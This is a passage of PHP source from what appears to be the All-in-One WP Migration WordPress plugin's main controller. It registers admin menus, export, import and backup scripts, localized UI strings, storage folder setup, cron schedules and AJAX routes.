'Ai1wm_Import_Clean::execute', 400 ); } /** * Export and import buttons * * @return void */ public function ai1wm_buttons() { add_filter( 'ai1wm_export_buttons', 'Ai1wm_Export_Controller::buttons' ); add_filter( 'ai1wm_import_buttons', 'Ai1wm_Import_Controller::buttons' ); add_filter( 'ai1wm_pro', 'Ai1wm_Import_Controller::pro', 10 ); } /** * All-in-One WP Migration loaded * * @return void */ public function ai1wm_loaded() { if ( ! defined( 'AI1WMME_PLUGIN_NAME' ) ) { if ( is_multisite() ) { add_action( 'network_admin_notices', array( $this, 'multisite_notice' ) ); } else { add_action( 'admin_menu', array( $this, 'admin_menu' ) ); } } else { if ( is_multisite() ) { add_action( 'network_admin_menu', array( $this, 'admin_menu' ) ); } else { add_action( 'admin_menu', array( $this, 'admin_menu' ) ); } } // Add in plugin update message foreach ( Ai1wm_Extensions::get() as $slug => $extension ) { add_action( "in_plugin_update_message-{$extension['basename']}", 'Ai1wm_Updater_Controller::in_plugin_update_message', 10, 2 ); } // Add automatic plugins update add_action( 'wp_maybe_auto_update', 'Ai1wm_Updater_Controller::check_for_updates' ); // Add HTTP export headers add_filter( 'ai1wm_http_export_headers', 'Ai1wm_Export_Controller::http_export_headers' ); // Add HTTP import headers add_filter( 'ai1wm_http_import_headers', 'Ai1wm_Import_Controller::http_import_headers' ); // Add chunk size limit add_filter( 'ai1wm_max_chunk_size', 'Ai1wm_Import_Controller::max_chunk_size' ); // Add plugins API add_filter( 'plugins_api', 'Ai1wm_Updater_Controller::plugins_api', 20, 3 ); // Add plugins updates add_filter( 'pre_set_site_transient_update_plugins', 'Ai1wm_Updater_Controller::pre_update_plugins' ); // Add plugins metadata add_filter( 'site_transient_update_plugins', 'Ai1wm_Updater_Controller::update_plugins' ); // Add "Check for updates" link to plugin list page add_filter( 'plugin_row_meta', 'Ai1wm_Updater_Controller::plugin_row_meta', 10, 2 ); // Add storage folder daily cleanup cron add_action( 'ai1wm_storage_cleanup', 'Ai1wm_Export_Controller::cleanup' ); } /** * WP CLI commands * * @return void */ public function wp_cli() { if ( defined( 'WP_CLI' ) ) { WP_CLI::add_command( 'ai1wm', 'Ai1wm_WP_CLI_Command', array( 'shortdesc' => __( 'All-in-One WP Migration Command', AI1WM_PLUGIN_NAME ) ) ); } } /** * Create backups folder with index.php, index.html, .htaccess and web.config files * * @return void */ public function setup_backups_folder() { $this->create_backups_folder( AI1WM_BACKUPS_PATH ); $this->create_backups_htaccess( AI1WM_BACKUPS_HTACCESS ); $this->create_backups_webconfig( AI1WM_BACKUPS_WEBCONFIG ); $this->create_backups_index_php( AI1WM_BACKUPS_INDEX_PHP ); $this->create_backups_index_html( AI1WM_BACKUPS_INDEX_HTML ); } /** * Create storage folder with index.php and index.html files * * @return void */ public function setup_storage_folder() { $this->create_storage_folder( AI1WM_STORAGE_PATH ); $this->create_storage_index_php( AI1WM_STORAGE_INDEX_PHP ); $this->create_storage_index_html( AI1WM_STORAGE_INDEX_HTML ); } /** * Create secret key if they don't exist yet * * @return void */ public function setup_secret_key() { if ( ! get_option( AI1WM_SECRET_KEY ) ) { update_option( AI1WM_SECRET_KEY, ai1wm_generate_random_string( 12 ) ); } } /** * Check user role capability * * @return void */ public function check_user_role_capability() { if ( ( $user = wp_get_current_user() ) && in_array( 'administrator', $user->roles ) ) { if ( ! $user->has_cap( 'export' ) || ! $user->has_cap( 'import' ) ) { if ( is_multisite() ) { return add_action( 'network_admin_notices', array( $this, 'missing_role_capability_notice' ) ); } else { return add_action( 'admin_notices', array( $this, 'missing_role_capability_notice' ) ); } } } } /** * Schedule cron tasks for plugin operation, if not done yet * * @return void */ public function schedule_crons() { if ( ! Ai1wm_Cron::exists( 'ai1wm_storage_cleanup' ) ) { Ai1wm_Cron::add( 'ai1wm_storage_cleanup', 'daily', time() ); } Ai1wm_Cron::clear( 'ai1wm_cleanup_cron' ); } /** * Create storage folder * * @param string Path to folder * @return void */ public function create_storage_folder( $path ) { if ( ! Ai1wm_Directory::create( $path ) ) { if ( is_multisite() ) { return add_action( 'network_admin_notices', array( $this, 'storage_path_notice' ) ); } else { return add_action( 'admin_notices', array( $this, 'storage_path_notice' ) ); } } } /** * Create backups folder * * @param string Path to folder * @return void */ public function create_backups_folder( $path ) { if ( ! Ai1wm_Directory::create( $path ) ) { if ( is_multisite() ) { return add_action( 'network_admin_notices', array( $this, 'backups_path_notice' ) ); } else { return add_action( 'admin_notices', array( $this, 'backups_path_notice' ) ); } } } /** * Create storage index.php file * * @param string Path to file * @return void */ public function create_storage_index_php( $path ) { if ( ! Ai1wm_File_Index::create( $path ) ) { if ( is_multisite() ) { return add_action( 'network_admin_notices', array( $this, 'storage_index_php_notice' ) ); } else { return add_action( 'admin_notices', array( $this, 'storage_index_php_notice' ) ); } } } /** * Create storage index.html file * * @param string Path to file * @return void */ public function create_storage_index_html( $path ) { if ( ! Ai1wm_File_Index::create( $path ) ) { if ( is_multisite() ) { return add_action( 'network_admin_notices', array( $this, 'storage_index_html_notice' ) ); } else { return add_action( 'admin_notices', array( $this, 'storage_index_html_notice' ) ); } } } /** * Create backups .htaccess file * * @param string Path to file * @return void */ public function create_backups_htaccess( $path ) { if ( ! Ai1wm_File_Htaccess::create( $path ) ) { if ( is_multisite() ) { return add_action( 'network_admin_notices', array( $this, 'backups_htaccess_notice' ) ); } else { return add_action( 'admin_notices', array( $this, 'backups_htaccess_notice' ) ); } } } /** * Create backups web.config file * * @param string Path to file * @return void */ public function create_backups_webconfig( $path ) { if ( ! Ai1wm_File_Webconfig::create( $path ) ) { if ( is_multisite() ) { return add_action( 'network_admin_notices', array( $this, 'backups_webconfig_notice' ) ); } else { return add_action( 'admin_notices', array( $this, 'backups_webconfig_notice' ) ); } } } /** * Create backups index.php file * * @param string Path to file * @return void */ public function create_backups_index_php( $path ) { if ( ! Ai1wm_File_Index::create( $path ) ) { if ( is_multisite() ) { return add_action( 'network_admin_notices', array( $this, 'backups_index_php_notice' ) ); } else { return add_action( 'admin_notices', array( $this, 'backups_index_php_notice' ) ); } } } /** * Create backups index.html file * * @param string Path to file * @return void */ public function create_backups_index_html( $path ) { if ( ! Ai1wm_File_Index::create( $path ) ) { if ( is_multisite() ) { return add_action( 'network_admin_notices', array( $this, 'backups_index_html_notice' ) ); } else { return add_action( 'admin_notices', array( $this, 'backups_index_html_notice' ) ); } } } /** * If the "noabort" environment variable has been set, * the script will continue to run even though the connection has been broken * * @return void */ public function create_litespeed_htaccess( $path ) { if ( ! Ai1wm_File_Htaccess::litespeed( $path ) ) { if ( is_multisite() ) { return add_action( 'network_admin_notices', array( $this, 'wordpress_htaccess_notice' ) ); } else { return add_action( 'admin_notices', array( $this, 'wordpress_htaccess_notice' ) ); } } } /** * Display multisite notice * * @return void */ public function multisite_notice() { Ai1wm_Template::render( 'main/multisite-notice' ); } /** * Display notice for storage directory * * @return void */ public function storage_path_notice() { Ai1wm_Template::render( 'main/storage-path-notice' ); } /** * Display notice for index.php file in storage directory * * @return void */ public function storage_index_php_notice() { Ai1wm_Template::render( 'main/storage-index-php-notice' ); } /** * Display notice for index.html file in storage directory * * @return void */ public function storage_index_html_notice() { Ai1wm_Template::render( 'main/storage-index-html-notice' ); } /** * Display notice for backups directory * * @return void */ public function backups_path_notice() { Ai1wm_Template::render( 'main/backups-path-notice' ); } /** * Display notice for .htaccess file in backups directory * * @return void */ public function backups_htaccess_notice() { Ai1wm_Template::render( 'main/backups-htaccess-notice' ); } /** * Display notice for web.config file in backups directory * * @return void */ public function backups_webconfig_notice() { Ai1wm_Template::render( 'main/backups-webconfig-notice' ); } /** * Display notice for index.php file in backups directory * * @return void */ public function backups_index_php_notice() { Ai1wm_Template::render( 'main/backups-index-php-notice' ); } /** * Display notice for index.html file in backups directory * * @return void */ public function backups_index_html_notice() { Ai1wm_Template::render( 'main/backups-index-html-notice' ); } /** * Display notice for .htaccess file in WordPress directory * * @return void */ public function wordpress_htaccess_notice() { Ai1wm_Template::render( 'main/wordpress-htaccess-notice' ); } /** * Display notice for missing role capability * * @return void */ public function missing_role_capability_notice() { Ai1wm_Template::render( 'main/missing-role-capability-notice' ); } /** * Add links to plugin list page * * @return array */ public function plugin_row_meta( $links, $file ) { if ( $file === AI1WM_PLUGIN_BASENAME ) { $links[] = Ai1wm_Template::get_content( 'main/contact-support' ); $links[] = Ai1wm_Template::get_content( 'main/translate' ); } return $links; } /** * Register plugin menus * * @return void */ public function admin_menu() { // Top-level WP Migration menu add_menu_page( 'All-in-One WP Migration', 'All-in-One WP Migration', 'export', 'ai1wm_export', 'Ai1wm_Export_Controller::index', '', '76.295' ); // Sub-level Export menu add_submenu_page( 'ai1wm_export', __( 'Export', AI1WM_PLUGIN_NAME ), __( 'Export', AI1WM_PLUGIN_NAME ), 'export', 'ai1wm_export', 'Ai1wm_Export_Controller::index' ); // Sub-level Import menu add_submenu_page( 'ai1wm_export', __( 'Import', AI1WM_PLUGIN_NAME ), __( 'Import', AI1WM_PLUGIN_NAME ), 'import', 'ai1wm_import', 'Ai1wm_Import_Controller::index' ); // Sub-level Backups menu add_submenu_page( 'ai1wm_export', __( 'Backups', AI1WM_PLUGIN_NAME ), __( 'Backups', AI1WM_PLUGIN_NAME ), 'import', 'ai1wm_backups', 'Ai1wm_Backups_Controller::index' ); } /** * Register scripts and styles * * @return void */ public function register_scripts_and_styles() { if ( is_rtl() ) { wp_register_style( 'ai1wm_servmask', Ai1wm_Template::asset_link( 'css/servmask.min.rtl.css' ) ); } else { wp_register_style( 'ai1wm_servmask', Ai1wm_Template::asset_link( 'css/servmask.min.css' ) ); } wp_register_script( 'ai1wm_util', Ai1wm_Template::asset_link( 'javascript/util.min.js' ), array( 'jquery' ) ); wp_register_script( 'ai1wm_settings', Ai1wm_Template::asset_link( 'javascript/settings.min.js' ), array( 'ai1wm_util' ) ); wp_localize_script( 'ai1wm_settings', 'ai1wm_locale', array( 'leave_feedback' => __( 'Leave plugin developers any feedback here', AI1WM_PLUGIN_NAME ), 'how_may_we_help_you' => __( 'How may we help you?', AI1WM_PLUGIN_NAME ), 'thanks_for_submitting_your_feedback' => __( 'Thanks for submitting your feedback!', AI1WM_PLUGIN_NAME ), 'thanks_for_submitting_your_request' => __( 'Thanks for submitting your request!', AI1WM_PLUGIN_NAME ), ) ); } /** * Enqueue scripts and styles for Export Controller * * @param string $hook Hook suffix * @return void */ public function enqueue_export_scripts_and_styles( $hook ) { if ( stripos( 'toplevel_page_ai1wm_export', $hook ) === false ) { return; } // We don't want heartbeat to occur when exporting wp_deregister_script( 'heartbeat' ); // We don't want auth check for monitoring whether the user is still logged in remove_action( 'admin_enqueue_scripts', 'wp_auth_check_load' ); if ( is_rtl() ) { wp_enqueue_style( 'ai1wm_export', Ai1wm_Template::asset_link( 'css/export.min.rtl.css' ) ); } else { wp_enqueue_style( 'ai1wm_export', Ai1wm_Template::asset_link( 'css/export.min.css' ) ); } wp_enqueue_script( 'ai1wm_export', Ai1wm_Template::asset_link( 'javascript/export.min.js' ), array( 'ai1wm_util' ) ); wp_localize_script( 'ai1wm_export', 'ai1wm_feedback', array( 'ajax' => array( 'url' => wp_make_link_relative( admin_url( 'admin-ajax.php?action=ai1wm_feedback' ) ), ), 'secret_key' => get_option( AI1WM_SECRET_KEY ), ) ); wp_localize_script( 'ai1wm_export', 'ai1wm_export', array( 'ajax' => array( 'url' => wp_make_link_relative( add_query_arg( array( 'ai1wm_import' => 1 ), admin_url( 'admin-ajax.php?action=ai1wm_export' ) ) ), ), 'status' => array( 'url' => wp_make_link_relative( add_query_arg( array( 'ai1wm_import' => 1, 'secret_key' => get_option( AI1WM_SECRET_KEY ) ), admin_url( 'admin-ajax.php?action=ai1wm_status' ) ) ), ), 'secret_key' => get_option( AI1WM_SECRET_KEY ), ) ); wp_localize_script( 'ai1wm_export', 'ai1wm_locale', array( 'stop_exporting_your_website' => __( 'You are about to stop exporting your website, are you sure?', AI1WM_PLUGIN_NAME ), 'preparing_to_export' => __( 'Preparing to export...', AI1WM_PLUGIN_NAME ), 'unable_to_export' => __( 'Unable to export', AI1WM_PLUGIN_NAME ), 'unable_to_start_the_export' => __( 'Unable to start the export. Refresh the page and try again', AI1WM_PLUGIN_NAME ), 'unable_to_run_the_export' => __( 'Unable to run the export. Refresh the page and try again', AI1WM_PLUGIN_NAME ), 'unable_to_stop_the_export' => __( 'Unable to stop the export. Refresh the page and try again', AI1WM_PLUGIN_NAME ), 'please_wait_stopping_the_export' => __( 'Please wait, stopping the export...', AI1WM_PLUGIN_NAME ), 'close_export' => __( 'Close', AI1WM_PLUGIN_NAME ), 'stop_export' => __( 'Stop export', AI1WM_PLUGIN_NAME ), 'leave_feedback' => __( 'Leave plugin developers any feedback here', AI1WM_PLUGIN_NAME ), 'how_may_we_help_you' => __( 'How may we help you?', AI1WM_PLUGIN_NAME ), 'thanks_for_submitting_your_feedback' => __( 'Thanks for submitting your feedback!', AI1WM_PLUGIN_NAME ), 'thanks_for_submitting_your_request' => __( 'Thanks for submitting your request!', AI1WM_PLUGIN_NAME ), ) ); } /** * Enqueue scripts and styles for Import Controller * * @param string $hook Hook suffix * @return void */ public function enqueue_import_scripts_and_styles( $hook ) { if ( stripos( 'all-in-one-wp-migration_page_ai1wm_import', $hook ) === false ) { return; } // We don't want heartbeat to occur when importing wp_deregister_script( 'heartbeat' ); // We don't want auth check for monitoring whether the user is still logged in remove_action( 'admin_enqueue_scripts', 'wp_auth_check_load' ); if ( is_rtl() ) { wp_enqueue_style( 'ai1wm_import', Ai1wm_Template::asset_link( 'css/import.min.rtl.css' ) ); } else { wp_enqueue_style( 'ai1wm_import', Ai1wm_Template::asset_link( 'css/import.min.css' ) ); } wp_enqueue_script( 'ai1wm_import', Ai1wm_Template::asset_link( 'javascript/import.min.js' ), array( 'ai1wm_util' ) ); wp_localize_script( 'ai1wm_import', 'ai1wm_feedback', array( 'ajax' => array( 'url' => wp_make_link_relative( admin_url( 'admin-ajax.php?action=ai1wm_feedback' ) ), ), 'secret_key' => get_option( AI1WM_SECRET_KEY ), ) ); wp_localize_script( 'ai1wm_import', 'ai1wm_uploader', array( 'max_file_size' => wp_max_upload_size(), 'url' => wp_make_link_relative( add_query_arg( array( 'ai1wm_import' => 1 ), admin_url( 'admin-ajax.php?action=ai1wm_import' ) ) ), 'params' => array( 'priority' => 5, 'secret_key' => get_option( AI1WM_SECRET_KEY ), ), ) ); wp_localize_script( 'ai1wm_import', 'ai1wm_import', array( 'ajax' => array( 'url' => wp_make_link_relative( add_query_arg( array( 'ai1wm_import' => 1 ), admin_url( 'admin-ajax.php?action=ai1wm_import' ) ) ), ), 'status' => array( 'url' => wp_make_link_relative( add_query_arg( array( 'ai1wm_import' => 1, 'secret_key' => get_option( AI1WM_SECRET_KEY ) ), admin_url( 'admin-ajax.php?action=ai1wm_status' ) ) ), ), 'secret_key' => get_option( AI1WM_SECRET_KEY ), ) ); wp_localize_script( 'ai1wm_import', 'ai1wm_compatibility', array( 'messages' => Ai1wm_Compatibility::get( array() ), ) ); wp_localize_script( 'ai1wm_import', 'ai1wm_disk_space', array( 'free' => ai1wm_disk_free_space( AI1WM_STORAGE_PATH ), 'factor' => AI1WM_DISK_SPACE_FACTOR, 'extra' => AI1WM_DISK_SPACE_EXTRA, ) ); wp_localize_script( 'ai1wm_import', 'ai1wm_locale', array( 'stop_importing_your_website' => __( 'You are about to stop importing your website, are you sure?', AI1WM_PLUGIN_NAME ), 'preparing_to_import' => __( 'Preparing to import...', AI1WM_PLUGIN_NAME ), 'unable_to_import' => __( 'Unable to import', AI1WM_PLUGIN_NAME ), 'unable_to_start_the_import' => __( 'Unable to start the import. Refresh the page and try again', AI1WM_PLUGIN_NAME ), 'unable_to_confirm_the_import' => __( 'Unable to confirm the import. Refresh the page and try again', AI1WM_PLUGIN_NAME ), 'unable_to_prepare_blogs_on_import' => __( 'Unable to prepare blogs on import. Refresh the page and try again', AI1WM_PLUGIN_NAME ), 'unable_to_stop_the_import' => __( 'Unable to stop the import. Refresh the page and try again', AI1WM_PLUGIN_NAME ), 'please_wait_stopping_the_import' => __( 'Please wait, stopping the import...', AI1WM_PLUGIN_NAME ), 'close_import' => __( 'Close', AI1WM_PLUGIN_NAME ), 'finish_import' => __( 'Finish', AI1WM_PLUGIN_NAME ), 'stop_import' => __( 'Stop import', AI1WM_PLUGIN_NAME ), 'confirm_import' => __( 'Proceed', AI1WM_PLUGIN_NAME ), 'confirm_disk_space' => __( 'I have enough disk space', AI1WM_PLUGIN_NAME ), 'continue_import' => __( 'Continue', AI1WM_PLUGIN_NAME ), 'please_do_not_close_this_browser' => __( 'Please do not close this browser window or your import will fail', AI1WM_PLUGIN_NAME ), 'leave_feedback' => __( 'Leave plugin developers any feedback here', AI1WM_PLUGIN_NAME ), 'how_may_we_help_you' => __( 'How may we help you?', AI1WM_PLUGIN_NAME ), 'thanks_for_submitting_your_feedback' => __( 'Thanks for submitting your feedback!', AI1WM_PLUGIN_NAME ), 'thanks_for_submitting_your_request' => __( 'Thanks for submitting your request!', AI1WM_PLUGIN_NAME ), 'import_from_file' => sprintf( __( 'Your file exceeds the maximum upload size for this site: <strong>%s</strong><br />%s%s', AI1WM_PLUGIN_NAME ), esc_html( ai1wm_size_format( wp_max_upload_size() ) ), __( '<a href="https://help.servmask.com/2018/10/27/how-to-increase-maximum-upload-file-size-in-wordpress/" target="_blank">How-to: Increase maximum upload file size</a> or ', AI1WM_PLUGIN_NAME ), __( '<a href="https://import.wp-migration.com" target="_blank">Get unlimited</a>', AI1WM_PLUGIN_NAME ) ), 'invalid_archive_extension' => __( 'The file type that you have tried to upload is not compatible with this plugin. ' . 'Please ensure that your file is a <strong>.wpress</strong> file that was created with the All-in-One WP migration plugin. ' . '<a href="https://help.servmask.com/knowledgebase/invalid-backup-file/" target="_blank">Technical details</a>', AI1WM_PLUGIN_NAME ), 'upgrade' => sprintf( __( 'The file that you are trying to import is over the maximum upload file size limit of <strong>%s</strong>.<br />' . 'You can remove this restriction by purchasing our ' . '<a href="https://servmask.com/products/unlimited-extension" target="_blank">Unlimited Extension</a>.', AI1WM_PLUGIN_NAME ), '512MB' ), 'out_of_disk_space' => __( 'There is not enough space available on the disk.<br />' . 'Free up %s of disk space.', AI1WM_PLUGIN_NAME ), ) ); } /** * Enqueue scripts and styles for Backups Controller * * @param string $hook Hook suffix * @return void */ public function enqueue_backups_scripts_and_styles( $hook ) { if ( stripos( 'all-in-one-wp-migration_page_ai1wm_backups', $hook ) === false ) { return; } // We don't want heartbeat to occur when restoring wp_deregister_script( 'heartbeat' ); // We don't want auth check for monitoring whether the user is still logged in remove_action( 'admin_enqueue_scripts', 'wp_auth_check_load' ); if ( is_rtl() ) { wp_enqueue_style( 'ai1wm_backups', Ai1wm_Template::asset_link( 'css/backups.min.rtl.css' ) ); } else { wp_enqueue_style( 'ai1wm_backups', Ai1wm_Template::asset_link( 'css/backups.min.css' ) ); } wp_enqueue_script( 'ai1wm_backups', Ai1wm_Template::asset_link( 'javascript/backups.min.js' ), array( 'ai1wm_util' ) ); wp_localize_script( 'ai1wm_backups', 'ai1wm_feedback', array( 'ajax' => array( 'url' => wp_make_link_relative( admin_url( 'admin-ajax.php?action=ai1wm_feedback' ) ), ), 'secret_key' => get_option( AI1WM_SECRET_KEY ), ) ); wp_localize_script( 'ai1wm_backups', 'ai1wm_import', array( 'ajax' => array( 'url' => wp_make_link_relative( add_query_arg( array( 'ai1wm_import' => 1 ), admin_url( 'admin-ajax.php?action=ai1wm_import' ) ) ), ), 'status' => array( 'url' => wp_make_link_relative( add_query_arg( array( 'ai1wm_import' => 1, 'secret_key' => get_option( AI1WM_SECRET_KEY ) ), admin_url( 'admin-ajax.php?action=ai1wm_status' ) ) ), ), 'secret_key' => get_option( AI1WM_SECRET_KEY ), ) ); wp_localize_script( 'ai1wm_backups', 'ai1wm_export', array( 'ajax' => array( 'url' => wp_make_link_relative( add_query_arg( array( 'ai1wm_import' => 1 ), admin_url( 'admin-ajax.php?action=ai1wm_export' ) ) ), ), 'status' => array( 'url' => wp_make_link_relative( add_query_arg( array( 'ai1wm_import' => 1, 'secret_key' => get_option( AI1WM_SECRET_KEY ) ), admin_url( 'admin-ajax.php?action=ai1wm_status' ) ) ), ), 'secret_key' => get_option( AI1WM_SECRET_KEY ), ) ); wp_localize_script( 'ai1wm_backups', 'ai1wm_backups', array( 'ajax' => array( 'url' => wp_make_link_relative( admin_url( 'admin-ajax.php?action=ai1wm_backups' ) ), ), 'backups' => array( 'url' => wp_make_link_relative( admin_url( 'admin-ajax.php?action=ai1wm_backup_list' ) ), ), 'labels' => array( 'url' => wp_make_link_relative( admin_url( 'admin-ajax.php?action=ai1wm_add_backup_label' ) ), ), 'secret_key' => get_option( AI1WM_SECRET_KEY ), ) ); wp_localize_script( 'ai1wm_backups', 'ai1wm_disk_space', array( 'free' => ai1wm_disk_free_space( AI1WM_STORAGE_PATH ), 'factor' => AI1WM_DISK_SPACE_FACTOR, 'extra' => AI1WM_DISK_SPACE_EXTRA, ) ); wp_localize_script( 'ai1wm_backups', 'ai1wm_locale', array( 'stop_exporting_your_website' => __( 'You are about to stop exporting your website, are you sure?', AI1WM_PLUGIN_NAME ), 'preparing_to_export' => __( 'Preparing to export...', AI1WM_PLUGIN_NAME ), 'unable_to_export' => __( 'Unable to export', AI1WM_PLUGIN_NAME ), 'unable_to_start_the_export' => __( 'Unable to start the export. Refresh the page and try again', AI1WM_PLUGIN_NAME ), 'unable_to_run_the_export' => __( 'Unable to run the export. Refresh the page and try again', AI1WM_PLUGIN_NAME ), 'unable_to_stop_the_export' => __( 'Unable to stop the export. Refresh the page and try again', AI1WM_PLUGIN_NAME ), 'please_wait_stopping_the_export' => __( 'Please wait, stopping the export...', AI1WM_PLUGIN_NAME ), 'close_export' => __( 'Close', AI1WM_PLUGIN_NAME ), 'stop_export' => __( 'Stop export', AI1WM_PLUGIN_NAME ), 'stop_importing_your_website' => __( 'You are about to stop importing your website, are you sure?', AI1WM_PLUGIN_NAME ), 'preparing_to_import' => __( 'Preparing to import...', AI1WM_PLUGIN_NAME ), 'unable_to_import' => __( 'Unable to import', AI1WM_PLUGIN_NAME ), 'unable_to_start_the_import' => __( 'Unable to start the import. Refresh the page and try again', AI1WM_PLUGIN_NAME ), 'unable_to_confirm_the_import' => __( 'Unable to confirm the import. Refresh the page and try again', AI1WM_PLUGIN_NAME ), 'unable_to_prepare_blogs_on_import' => __( 'Unable to prepare blogs on import. Refresh the page and try again', AI1WM_PLUGIN_NAME ), 'unable_to_stop_the_import' => __( 'Unable to stop the import. Refresh the page and try again', AI1WM_PLUGIN_NAME ), 'please_wait_stopping_the_import' => __( 'Please wait, stopping the import...', AI1WM_PLUGIN_NAME ), 'finish_import' => __( 'Finish', AI1WM_PLUGIN_NAME ), 'close_import' => __( 'Close', AI1WM_PLUGIN_NAME ), 'stop_import' => __( 'Stop import', AI1WM_PLUGIN_NAME ), 'confirm_import' => __( 'Proceed', AI1WM_PLUGIN_NAME ), 'confirm_disk_space' => __( 'I have enough disk space', AI1WM_PLUGIN_NAME ), 'continue_import' => __( 'Continue', AI1WM_PLUGIN_NAME ), 'please_do_not_close_this_browser' => __( 'Please do not close this browser window or your import will fail', AI1WM_PLUGIN_NAME ), 'leave_feedback' => __( 'Leave plugin developers any feedback here', AI1WM_PLUGIN_NAME ), 'how_may_we_help_you' => __( 'How may we help you?', AI1WM_PLUGIN_NAME ), 'thanks_for_submitting_your_feedback' => __( 'Thanks for submitting your feedback!', AI1WM_PLUGIN_NAME ), 'thanks_for_submitting_your_request' => __( 'Thanks for submitting your request!', AI1WM_PLUGIN_NAME ), 'want_to_delete_this_file' => __( 'Are you sure you want to delete this file?', AI1WM_PLUGIN_NAME ), 'unlimited' => __( 'Restoring a backup is available via Unlimited extension. <a href="https://servmask.com/products/unlimited-extension" target="_blank">Get it here</a>', AI1WM_PLUGIN_NAME ), 'restore_from_file' => __( '"Restore" functionality is available in a <a href="https://servmask.com/products/unlimited-extension" target="_blank">paid extension</a>.<br />You could also download the backup and then use "Import from file".', AI1WM_PLUGIN_NAME ), 'out_of_disk_space' => __( 'There is not enough space available on the disk.<br />' . 'Free up %s of disk space.', AI1WM_PLUGIN_NAME ), ) ); } /** * Enqueue scripts and styles for Updater Controller * * @param string $hook Hook suffix * @return void */ public function enqueue_updater_scripts_and_styles( $hook ) { if ( 'plugins.php' !== strtolower( $hook ) ) { return; } if ( is_rtl() ) { wp_enqueue_style( 'ai1wm_updater', Ai1wm_Template::asset_link( 'css/updater.min.rtl.css' ) ); } else { wp_enqueue_style( 'ai1wm_updater', Ai1wm_Template::asset_link( 'css/updater.min.css' ) ); } wp_enqueue_script( 'ai1wm_updater', Ai1wm_Template::asset_link( 'javascript/updater.min.js' ), array( 'ai1wm_util' ) ); wp_localize_script( 'ai1wm_updater', 'ai1wm_updater', array( 'ajax' => array( 'url' => wp_make_link_relative( add_query_arg( array( 'ai1wm_nonce' => wp_create_nonce( 'ai1wm_updater' ) ), admin_url( 'admin-ajax.php?action=ai1wm_updater' ) ) ), ), ) ); wp_localize_script( 'ai1wm_updater', 'ai1wm_locale', array( 'check_for_updates' => __( 'Check for updates', AI1WM_PLUGIN_NAME ), 'invalid_purchase_id' => __( 'Your purchase ID is invalid, please <a href="mailto:support@servmask.com">contact us</a>', AI1WM_PLUGIN_NAME ), ) ); } /** * Outputs menu icon between head tags * * @return void */ public function admin_head() { global $wp_version; // Admin header Ai1wm_Template::render( 'main/admin-head', array( 'version' => $wp_version ) ); } /** * Register initial parameters * * @return void */ public function init() { // Set username if ( isset( $_SERVER['PHP_AUTH_USER'] ) ) { update_option( AI1WM_AUTH_USER, $_SERVER['PHP_AUTH_USER'] ); } elseif ( isset( $_SERVER['REMOTE_USER'] ) ) { update_option( AI1WM_AUTH_USER, $_SERVER['REMOTE_USER'] ); } // Set password if ( isset( $_SERVER['PHP_AUTH_PW'] ) ) { update_option( AI1WM_AUTH_PASSWORD, $_SERVER['PHP_AUTH_PW'] ); } // Check for updates if ( isset( $_GET['ai1wm_check_for_updates'] ) ) { if ( check_admin_referer( 'ai1wm_check_for_updates', 'ai1wm_nonce' ) ) { if ( current_user_can( 'update_plugins' ) ) { Ai1wm_Updater::check_for_updates(); } } } } /** * Register initial router * * @return void */ public function router() { // Public actions add_action( 'wp_ajax_nopriv_ai1wm_export', 'Ai1wm_Export_Controller::export' ); add_action( 'wp_ajax_nopriv_ai1wm_import', 'Ai1wm_Import_Controller::import' ); add_action( 'wp_ajax_nopriv_ai1wm_status', 'Ai1wm_Status_Controller::status' ); add_action( 'wp_ajax_nopriv_ai1wm_backups', 'Ai1wm_Backups_Controller::delete' ); add_action( 'wp_ajax_nopriv_ai1wm_feedback', 'Ai1wm_Feedback_Controller::feedback' ); add_action( 'wp_ajax_nopriv_ai1wm_add_backup_label', 'Ai1wm_Backups_Controller::add_label' ); add_action( 'wp_ajax_nopriv_ai1wm_backup_list', 'Ai1wm_Backups_Controller::backup_list' ); // Private actions add_action( 'wp_ajax_ai1wm_export', 'Ai1wm_Export_Controller::export' ); add_action( 'wp_ajax_ai1wm_import', 'Ai1wm_Import_Controller::import' ); add_action( 'wp_ajax_ai1wm_status', 'Ai1wm_Status_Controller::status' ); add_action( 'wp_ajax_ai1wm_backups', 'Ai1wm_Backups_Controller::delete' ); add_action( 'wp_ajax_ai1wm_feedback', 'Ai1wm_Feedback_Controller::feedback' ); add_action( 'wp_ajax_ai1wm_add_backup_label', 'Ai1wm_Backups_Controller::add_label' ); add_action( 'wp_ajax_ai1wm_backup_list', 'Ai1wm_Backups_Controller::backup_list' ); // Update actions if ( current_user_can( 'update_plugins' ) ) { add_action( 'wp_ajax_ai1wm_updater', 'Ai1wm_Updater_Controller::updater' ); } } /** * Enable WP importing * * @return void */ public function wp_importing() { if ( isset( $_GET['ai1wm_import'] ) ) { if ( ! defined( 'WP_IMPORTING' ) ) { define( 'WP_IMPORTING', true ); } } } /** * Add custom cron schedules * * @param array $schedules List of schedules * @return array */ public function add_cron_schedules( $schedules ) { $schedules['weekly'] = array( 'display' => __( 'Weekly', AI1WM_PLUGIN_NAME ), 'interval' => 60 * 60 * 24 * 7, ); $schedules['monthly'] = array( 'display' => __( 'Monthly', AI1WM_PLUGIN_NAME ), 'interval' => ( strtotime( '+1 month' ) - time() ), ); return $schedules; } }